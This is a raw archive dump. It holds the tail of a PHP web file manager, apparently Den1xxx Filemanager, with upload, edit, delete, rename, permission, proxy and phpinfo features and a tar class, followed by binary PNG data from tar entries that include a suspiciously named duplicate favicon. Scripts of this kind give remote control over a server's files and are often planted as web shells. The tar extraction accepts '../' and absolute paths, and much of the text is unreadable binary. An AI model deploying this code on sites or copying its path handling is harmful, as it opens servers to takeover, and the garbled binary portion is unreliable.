method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } favicon.png 0000666 00000003225 15020743441 0006705 0 ustar 00 �PNG IHDR 3 4 '� � pHYs �� sRGB ��� gAMA ���a *IDATx�AHW�?�n㺖h��P��"M�qł���*b����zTo5�ћ�� �������mD�I���n�*�V�h��_2ۙ�7;�;k#��uf7�y�}�g�k��� �T�q�D���0�}��~r���>-xi���v_z�'�")�g�E���Z��0j� ���z�G��/(Xlq�<�=*��>Ő�����6�����-��fC�B�dC�1�RO�Q}��! ����-�P�/n�����GQV�yʲ�S��s�%��l^i}���gX/ESMF4CPb��=�h۷�sg��K��K��@Ac��-� �;��|�J�b��%\��kox<��顑�������Uoٜ�JNN���R��픒��+*A��Do�գ��p|b���K�/���D���(���������o֎ۧ�]k,���]1�jE��T��+�cs�<� ����P����bbbh�}@e֔�9�s�FAW�u�9���(� ��!dee� ��Q�;���W$��~gk�!Ml~�[�ׇ��1���~��+��і�<����V8�HH�P?,#���}��ǡ��Q��� ̑p�@����o�a� �\���6�z��j>�)Fm&�+��h�===�Z�m��3i��e~R�W�EFhoo��N)zHΐkO�9��� ���6��.���������4+����ܦ��)T�� �72�]�{�_$ ga�L��+�aI ��v��/o�`��p��(T�3�;0��9Ž#���,f�ȽA�r��]��:� < y���߾��P�<�╱ ��y6� ɛ��*g�}(,/�TY1���rN'�?�Sl\,�����r��)�PZZ����D>/677ibb���H����J1�����W��C�a���WރMZ�28����cppP�.�SF��dE(O?y�8����ua����\v��P7n�Z�Ԩ:.�]V777�8_\\$#Ũ�S�A������\�X,|]����KJJ^������qn�a�+**����T����=���!�ʰ"�/�Gaa!w�nȁ�����|N2���P@�3��)�� ������������=-�*�_���,LCC����C���Z$�� ���D����ށ`6���W ����/Z���?���(x���&�L&a���|���&��ϑ�#��"4�fu#�8<P666hll�������{Xw222�eD�]�,�a N\o��8�� ����k�Q���� &y��"Zh.�<���������D)��¯�(O=w�5�z ;��ӡW�����;��ƨ:/{�~d��4�)O���|$�@P���>�P�:_�9 ���5#с�l��j5��lX� {�YBKE�'�| m��.��(��3o�+�C��g�.�_�ݣ�؟as��ZL@�r9!�h�F��@��9��������" û� ��X:7��fx�WMA�� ��E��_�,��� �셱�ie"��. '�b�5��;s\9s\9Qb��ʅZ�n�� IEND�B`� logo.png 0000666 00000005636 15020743441 0006230 0 ustar 00 �PNG IHDR > ��� pHYs �� sRGB ��� gAMA ���a 3IDATx�\]lT�>6�)����Z�<4��� �J�G� [��PP����D�QS�c���E^*RF�R�C��D� �cC�Ć�_�l�2���;3���n�~���ܹ��s�3g6'*@!��"k�����b��g1B�!����C��Q��S��=��G�5:Nw�<����L~^>7�*�5�JgSC��^"�t��>}Z^�����W�ZEǎ���*�T�dJ��O���R��c ���hKu>m���=H߷o]�|��f]t��!�Td��|r�\�+ �������(��.]JW�\�LEZ��'Lyk� i����*�YFGG������g:�i����u�O �@� Z�BZ���":u����d�%�����ίRb�m�'�}�ҁw'�A�<�z>$?� �nܣ�� � ���H!p����2i�I�n��W� ��\͋ ������a)�L���i����5�3si}��!�/�fS��\y�y"��G�w�O\���_�N`NN��=�=� ��/jػw��(l���y�իWcrxgee%mڴ�V�^��0� ��m�E�f����<��ҼI�m�P��t�mQ��s��� -��ύ.^�(�Ӂ�m�� 5�T�b�?!����݅�e��!^=Ӻ��:~�#V��Cd �<��Τ� �>!c�֠��:� ,�sY ���N��A�\��t�9\h�}��l��r�,���I�!G����%��K�('��������ǘi?\�vm����ؿ?�9sFZN$�&D*R�1��� ��������:`���u����q~ī1A1�ʩ1�[_��#����#wn� ݏ�����d{��ڮY�F*G*�~�K ��u-*֓����x�<w�sG�u>�k�_ލ����֫ol<n\"w�/������o��Ϭ��־���;_bҝ��N�^h<�}�Kg�+�� �N����Lނr'�o_��u�����?�|�0���aN� E�<p�� �=�^���Ąpd��p0kQ��͖깱7��i�Cw��� �8��x�ݷ/�e����Z�&���g_ �`�>LS |oV�1H8"\�E�w�f������9����!ς���|*]PJ�M��v����[�>X�ו�}|�©;{�>|��8��X4�tɰ���oNX�|"���}�@�T��XPn�E10DP���F{^�C6�Mbz�*��j�rظī�#x�.@@�A����www7+��u1 ��|�E.��j=�/���h�|;���g�ވ>��H;���|����nq���If��P�Adm��/�b|::O�""&� ba!l���6�=~9�(7nd;p������<�.��Ѫ�*�lYYYt��h��w�{5� �|��)�>�p���6�s����ļw�֭l��8�HL��1q%,�0�-!��KS2��ucR�(r!��v}wUVUƴoll�����/\�0�s��A����Ի�8X�u��zΥ�:\�ٔ<b}{n�ʶ����u{^���N. �qec�1�#� �c���)Y��q��Əhov�A��唛��I>�x��@}�f�N�-��&A�Ν;G7oތ�oٲe1 ъ+���Y�ͺ�c����-��xu�'(�.�<a���ea�V��r�@�@| 78p~�Z�|yܒ�� З�C}�,�:�O)�|�:��5��em���@d�k8 ���Uh�L>,s��/U̡?kCP�����ϭN�z�Q��}�øu��Ά b���r��Q�����)�g�Oon���t͕143�őiIIz�W8�艍G��`}k�;�|MA��={�,ݺu��9"�H�.� �"ݛt���h�W�]�t�p��M��$���0�k� =k�K�A�m�Ն��ڹsg��zWe��:hb8��c��\��^�\�>7M+�Z&L�i%dq4��eL����B�Q���֟��^�=�\p�]��CY\�,��->wi=�cڈ���Y�Mڠ�rߦ�{p�=��?LZ �18zA�8)pE7e��(�B�z�*����S��%M�M��6����(���ս�.0�k��]#�ζ_����Dm�� �W�K�� �n���4�sJ�п- �u��S-�ʄ����ȣ�.�Էݑ5\!��� �3�q���^�䉻&Zڊ��O0[da-݆�pm=�|���\@�j�3h�>��~���Y�� ���#D8����Vh�OMq�� �Ik!�~Y=/�5�����;�&X��lW�$��Kp7� 0�wOt�Qk�W��R�C��J��S1�m��d"B@��N K1���J>֗�e\��2c��к�P� � �k��� �sS�p��xIUǵ`� BR! ~Je��|��DH����nP��Pks��q���z��N�F�!��#K\�ll�p�! H�@��6��_V�p�T����8)v/�䫂`�Բ�ne���D5N �D�;P�w��� �P�TC���Í�{�uJ i�d��H>�,ē6��vR�bG�S!�֟Ҏ�̣l�Q�91~P3�(��`C&�_�ZW>����M��� �;|J�@ p�� ��w� �/ϔ��W� �AR��� `�:/�4O�@0�ǤOEf*��!)�#!��$�]���C�F�w�:�sl��g.�?Ȥ~]C�sa9H6y"=�1��"���,FH~#$?������b��g1B������~̄� IEND�B`� 316543875favicon.png 0000644 00000005636 15020743441 0007643 0 ustar 00 �PNG IHDR > ��� pHYs �� sRGB ��� gAMA ���a 3IDATx�\]lT�>6�)����Z�<4��� �J�G� [��PP����D�QS�c���E^*RF�R�C��D� �cC�Ć�_�l�2���;3���n�~���ܹ��s�3g6'*@!��"k�����b��g1B�!����C��Q��S��=��G�5:Nw�<����L~^>7�*�5�JgSC��^"�t��>}Z^�����W�ZEǎ���*�T�dJ��O���R��c ���hKu>m���=H߷o]�|��f]t��!�Td��|r�\�+ �������(��.]JW�\�LEZ��'Lyk� i����*�YFGG������g:�i����u�O �@� Z�BZ���":u����d�%�����ίRb�m�'�}�ҁw'�A�<�z>$?� �nܣ�� � ���H!p����2i�I�n��W� ��\͋ ������a)�L���i����5�3si}��!�/�fS��\y�y"��G�w�O\���_�N`NN��=�=� ��/jػw��(l���y�իWcrxgee%mڴ�V�^��0� ��m�E�f����<��ҼI�m�P��t�mQ��s��� -��ύ.^�(�Ӂ�m�� 5�T�b�?!����݅�e��!^=Ӻ��:~�#V��Cd �<��Τ� �>!c�֠��:� ,�sY ���N��A�\��t�9\h�}��l��r�,���I�!G����%��K�('��������ǘi?\�vm����ؿ?�9sFZN$�&D*R�1��� ��������:`���u����q~ī1A1�ʩ1�[_��#����#wn� ݏ�����d{��ڮY�F*G*�~�K ��u-*֓����x�<w�sG�u>�k�_ލ����֫ol<n\"w�/������o��Ϭ��־���;_bҝ��N�^h<�}�Kg�+�� �N����Lނr'�o_��u�����?�|�0���aN� E�<p�� �=�^���Ąpd��p0kQ��͖깱7��i�Cw��� �8��x�ݷ/�e����Z�&���g_ �`�>LS |oV�1H8"\�E�w�f������9����!ς���|*]PJ�M��v����[�>X�ו�}|�©;{�>|��8��X4�tɰ���oNX�|"���}�@�T��XPn�E10DP���F{^�C6�Mbz�*��j�rظī�#x�.@@�A����www7+��u1 ��|�E.��j=�/���h�|;���g�ވ>��H;���|����nq���If��P�Adm��/�b|::O�""&� ba!l���6�=~9�(7nd;p������<�.��Ѫ�*�lYYYt��h��w�{5� �|��)�>�p���6�s����ļw�֭l��8�HL��1q%,�0�-!��KS2��ucR�(r!��v}wUVUƴoll�����/\�0�s��A����Ի�8X�u��zΥ�:\�ٔ<b}{n�ʶ����u{^���N. �qec�1�#� �c���)Y��q��Əhov�A��唛��I>�x��@}�f�N�-��&A�Ν;G7oތ�oٲe1 ъ+���Y�ͺ�c����-��xu�'(�.�<a���ea�V��r�@�@| 78p~�Z�|yܒ�� З�C}�,�:�O)�|�:��5��em���@d�k8 ���Uh�L>,s��/U̡?kCP�����ϭN�z�Q��}�øu��Ά b���r��Q�����)�g�Oon���t͕143�őiIIz�W8�艍G��`}k�;�|MA��={�,ݺu��9"�H�.� �"ݛt���h�W�]�t�p��M��$���0�k� =k�K�A�m�Ն��ڹsg��zWe��:hb8��c��\��^�\�>7M+�Z&L�i%dq4��eL����B�Q���֟��^�=�\p�]��CY\�,��->wi=�cڈ���Y�Mڠ�rߦ�{p�=��?LZ �18zA�8)pE7e��(�B�z�*����S��%M�M��6����(���ս�.0�k��]#�ζ_����Dm�� �W�K�� �n���4�sJ�п- �u��S-�ʄ����ȣ�.�Էݑ5\!��� �3�q���^�䉻&Zڊ��O0[da-݆�pm=�|���\@�j�3h�>��~���Y�� ���#D8����Vh�OMq�� �Ik!�~Y=/�5�����;�&X��lW�$��Kp7� 0�wOt�Qk�W��R�C��J��S1�m��d"B@��N K1���J>֗�e\��2c��к�P� � �k��� �sS�p��xIUǵ`� BR! ~Je��|��DH����nP��Pks��q���z��N�F�!��#K\�ll�p�! H�@��6��_V�p�T����8)v/�䫂`�Բ�ne���D5N �D�;P�w��� �P�TC���Í�{�uJ i�d��H>�,ē6��vR�bG�S!�֟Ҏ�̣l�Q�91~P3�(��`C&�_�ZW>����M��� �;|J�@ p�� ��w� �/ϔ��W� �AR��� 